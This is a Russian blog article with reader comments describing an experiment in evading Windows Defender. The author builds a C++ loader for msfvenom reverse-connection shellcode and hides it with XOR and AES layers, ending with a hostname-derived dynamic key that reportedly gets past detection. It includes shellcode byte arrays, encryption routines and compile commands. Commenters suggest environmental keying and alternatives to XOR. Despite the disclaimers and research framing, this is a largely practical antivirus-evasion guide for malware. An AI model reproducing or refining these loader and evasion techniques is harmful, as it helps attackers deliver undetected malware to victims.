Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

В наше время цифровая безопасность все более актуальна, поскольку важность защиты конфиденциальной информации и данных не может быть переоценена. Шифрование информации становится все более неотъемлемой частью нашей цифровой жизни, обеспечивая надежную защиту от несанкционированного доступа.

К сожалению, шифрование часто используется не только в хороших, но и плохих целях.

В данной статье рассмотрим, как технологии шифрования помогают в защите конфиденциальности и целостности данных, а также как современные средства безопасности могут оказаться недостаточными для полноценный защиты.

Мы проанализируем случай, когда использование шифрования стало ключевым элементом в обнаружении недостатка в работе средств защиты, и поймем почему так происходит.

Примечание

В качестве примера, создал нагрузку, которая вызовет диалоговое окно с подтверждением активации обратного соединения, а также его прекращения.

Ниже представлен пример инициализации нагрузки посредством его внедрения в исполняемый код на языке С++.

  unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
                              "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
                              .....................укороченная.версия...................                
                              "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x7c"
                              "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

Основная часть

Генерация нагрузки

В качестве инструмента для тестирования на проникновение, использовал msfvenom.

Внимание! Использование данного программного обеспечения возможно только с санкции пользователя и ни в каких других случаях невозможно!

Нагрузку я выбрал самую тривиальную. Ее использование детектится.

Упаковка

Для корректной упаковки, я использовал x86_64-w64-mingw32-g++

Установить его можно с помощью следующей команды:

apt install x86_64-w64-mingw32-g++

Тестовая сборка:

x86_64-w64-mingw32-g++ -o test.exe test.cpp

Запустил и обнаружил следующее:

Как видно, ошибка связана отсутствием libstdc++-6.dll. Починить это можно путем прямой установки нужных компонент. Но можно собрать файл заново, используя "статическую линковку" (внедрение необходимых зависимостей в файл). Безусловно, при таком подходе вес файла станет больше, но, зато будет всё работать.

Для этого, к прошлой команде добавил флаг -static

x86_64-w64-mingw32-g++ -static -o test.exe test.cpp

Запустил файл:

Выявление недостатка работы АВ

В работоспособности исполняемого файла убедился. А теперь попробовал запустить файл с активированной защитой на хосте.

Поскольку я использовал стандартную нагрузку без шифрования, Defender с легкостью обнаружил ВПО.

Шифрование нагрузки

XOR

Стандарт кодирования- это XOR (исключающее или).

Реализация в коде:

void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char key) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key;
}
}
unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key = 0x16; // Ключ для XOR-шифрования
encryptdecrypt(originalShellcode, shellcodeSize, key);// Шифрование нагрузки
...
// Расшифрование нагрузки перед выполнением
encryptdecrypt(static_cast<unsigned char>(execMemory), shellcodeSize, key);

Здесь видно, что XOR не справился со своей задачей.

Далее, я подумал, что можно усложнить ключ, сделав его последовательностью байт:

void encryptdecrypt(unsigned char shellcode, size_t size, unsigned char key, size_t keysize) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key[i % keysize];
}
}
unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
size_t keysize = sizeof(key);
encryptdecrypt(originalShellcode, shellcodeSize, key, keysize);
...
encryptdecrypt(static_cast<unsigned char>(execMemory), shellcodeSize, key, keysize);

Это также не сработало

Вариант с XOR можно пока что отложить. Вероятно, нужно более сложное шифрование. Попробовал AES128

AES

Использовал реализацию от Сергея Бела: https://github.com/SergeyBel/AES/blob/master/README.md

Результаты работы библиотеки:

Также для массива в другом виде:

Как видно, для второго варианта расшифрование выполняется некорректно.

Что я понял при знакомстве с AES и библиотек в частности:

  1. Ключ должен быть кратен 16 байтам;

  2. Размер массива должен быть также кратен 16 байтам;

  3. Размер ключа при расшифровании должен быть использован тот же, что и при шифровании;

  4. Для корректной работы, рекомендуется использовать вариант нагрузки в виде строки, поскольку может возникнуть ошибка по длине/некорректное расшифрование (см. пример выше);

  5. Если не хватает длины до кратности, можно дополнить нагрузку с помощью "\x00";

  6. Для подключения библиотеки достаточно просто заинклудить хэдер и добавить в проект .cpp;

  7. При нагрузке в виде строки, необходимо учитывать важную вещь: к размерности массива автоматически прибавляется 1;

Пример дополнения:

Для видимости дебага, переписал throw в исходниках на cout

Буду дополнять слово "hello":

Имею ошибки по длине. Дополню 9 байт:

Внедряем библиотеку в код

Сначала я дополнил нагрузку до нужной длины (512 байт), зашифровал, а потом расшифровал ее и опять словил детект.

Тогда ко мне в голову пришла идея использовать в качестве массива заранее зашифрованное сообщение.

Шифрование и расшифрование будет происходить с одним и тем же ключом.

Итак, благодаря функции aes.printHexArray();, я смог вывести зашифрованный массив байт. Теперь приведу его к виду строки.

Прошу обратить внимание, что расшифровка прошла успешно, но это не принесло никаких результатов.

Тогда я подумал, что, возможно, стоит использовать XOR поверх AES. Также мне хотелось избежать хранения "сырой" нагрузки в коде, поэтому, для удобства, я написал следующий скрипт:

#include <iostream>
#include "windows.h"
#include "AES.h"
#include <iomanip>
void encryptdecrypt(unsigned char shellcode, unsigned int size, unsigned char key, size_t keysize) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key[i % keysize];
}
}
int main() {
AES aes(AESKeyLength::AES_128);
unsigned char shellcode[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x6d, 0x79, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6e, 0x64, 0x00 };
unsigned int shellcodesize = sizeof(shellcode);
std::cout << "Shellcode len: " << shellcode;
std::cout << shellcodesize << std::endl;
unsigned char aeskey[] = { 0x23, 0x45, 0x67, 0x89,0xAB, 0xCD, 0xEF, 0x10,0x32, 0x54, 0x76, 0x98,0xBA, 0xDC, 0xFE, 0x00 };
unsigned char xorkey[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
unsigned char aesshellcode = aes.EncryptECB(shellcode, shellcodesize, aeskey);
std::cout << "AES ENCRYPT: ";
aes.printHexArray(aesshellcode, shellcodesize);
size_t keysize = sizeof(xorkey);
std::cout << "\n\n";
encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
std::cout << "AES + XOR ENCRYPT: ";
for (int i = 0; i < shellcodesize; i++) {
std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]);
if (i < shellcodesize - 1) {
std::cout << ", ";
}
}
std::cout << "\n\n";
std::cout << "XOR DECRYPT: ";
encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
for (int i = 0; i < shellcodesize; i++) {
std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]);
if (i < shellcodesize - 1) {
std::cout << ", ";
}
}
unsigned char decaesshelcode = aes.DecryptECB(aesshellcode, shellcodesize, aeskey);
std::cout << "\n\n";
std::cout << "XOR + AES DECRYPT: ";
aes.printHexArray(decaesshelcode, shellcodesize);
}

Результат работы скрипта:

Смысл скрипта такой:

Plain -> AES -> XOR -> deXOR -> deAES -> Plain

По сути, мне необходимы следующие вещи из этого кода: ключи и AES+XOR массив байт. Строки дальше существуют чисто для проверки корректности работы шифрования/расшифрования.

Проверка такого способа вновь завершилась неудачей. Я подумал, что наверняка есть какой-то способ проверить в чем именно проблема. Оказалось, что даже если я зашифрую нагрузку хоть 100 раз и 100 раз в коде будут лежать ключи в открытом виде, АВ средство с легкостью обнаружит ВПО, что достаточно круто и похвально.

Финальный этап

Я понял, что нужно избавиться от статики в пользу динамики, тем самым обезличив ключи и сделав их генерацию псевдослучайной.

Для этого использовал библиотеку windows.h , которая позволяет работать с WinAPI

И сама генерация ключа:

Очевидно, что, для данного случая, необходимо заведомо знать имя хоста, но для моего исследования это некритично, поскольку работаю на локальных машинах.

В качестве эксперимента, моя схема состояла в следующем:

Как можно заметить, я не отказался от статических ключей. Идея состояла в проверке необходимости и достаточности хотя бы одного динамического ключа.

Видно, что в процессе выполнения кода, нагрузка сначала будет расшифрована с помощью динамического ключа. Затем, получится так, что останется нагрузка только со статическим ключом, которая, по идее, не должна отработать (примеры выше).

Но, на мое удивление, это сработало!

Вывод

В конечном итоге, исследование выявило серьезный недостаток в работе АВ средства Windows Defender, связанное с некачественным анализом приложений, использующих динамические ключи для шифрования участков кода. Это поднимает важные вопросы о безопасности информации и подчеркивает необходимость улучшения средств защиты. Несмотря на то, что данный способ уже не работает (статья писалась 3 месяца), подобные уязвимости могут иметь далеко идущие последствия. Напоследок, еще раз хочется подчеркнуть, что повторение данных действий приводит к нарушению законодательства.

Комментарии (6)


  1. sekuzmin
    28.04.2024 16:53
    +1

    As a bonus improvement to our dropper, we will use information present in the target environment as the key to decrypt the shellcode. In a more advanced scenario, this can be used by threat actors to ensure that the malware will only run when it reaches its objective (https://attack.mitre.org/techniques/T1480/001/), protecting their code from malware analysts and sandboxes. For our example, we will just use the username running the binary as the key to decrypt the payload, as this is simple enough to implement and test.

    https://secarma.com/bypassing-windows-defender-with-environmental-decryption-keys/


  1. jackcrane
    28.04.2024 16:53

    повторение данных действий приводит к нарушению законодательства.

    объявят иноагентом, фейкометом или дискредитатором ?


  1. vilgeforce
    28.04.2024 16:53

    Никогда такого не было и вот опять обход сигнатурного анализа!


  1. Lucker216
    28.04.2024 16:53
    +1

    Статья хорошая сама по себе, но всем давно вроде известно, что шифрование делает вирусы обезличиными антивишникам, странно, что это вызывает удивление


  1. Lexx1650
    28.04.2024 16:53
    +1

    Помню во времена office95 исследовал вирусы, которые распространялись в word файлах в виде макросов. В те времена по умолчанию макросы не были отключены. Исследовав такой файл я сделал макрос, который шифровал функцию заражения, а расшифровывал при открытии файла и передавал ей управление. Антивирус проверял файл перед открытием и не видел ничего опасного. Когда макрос расшифровывал полезную нагрузку, антивирус сообщал, но было уже поздно, полезная нагрузка распространяла зашифрованный кусок макроса в другие файлы и антивирус в этом не видел ничего опасного.

    Сейчас антивирусы чувствительны к операции xor. Попробуйте исследовать альтернативу этой операции из логических операций or/and/not или другой вид шифрования без использования xor.


    1. ciuafm
      28.04.2024 16:53

      Так что, xor ax,ax уже нельзя?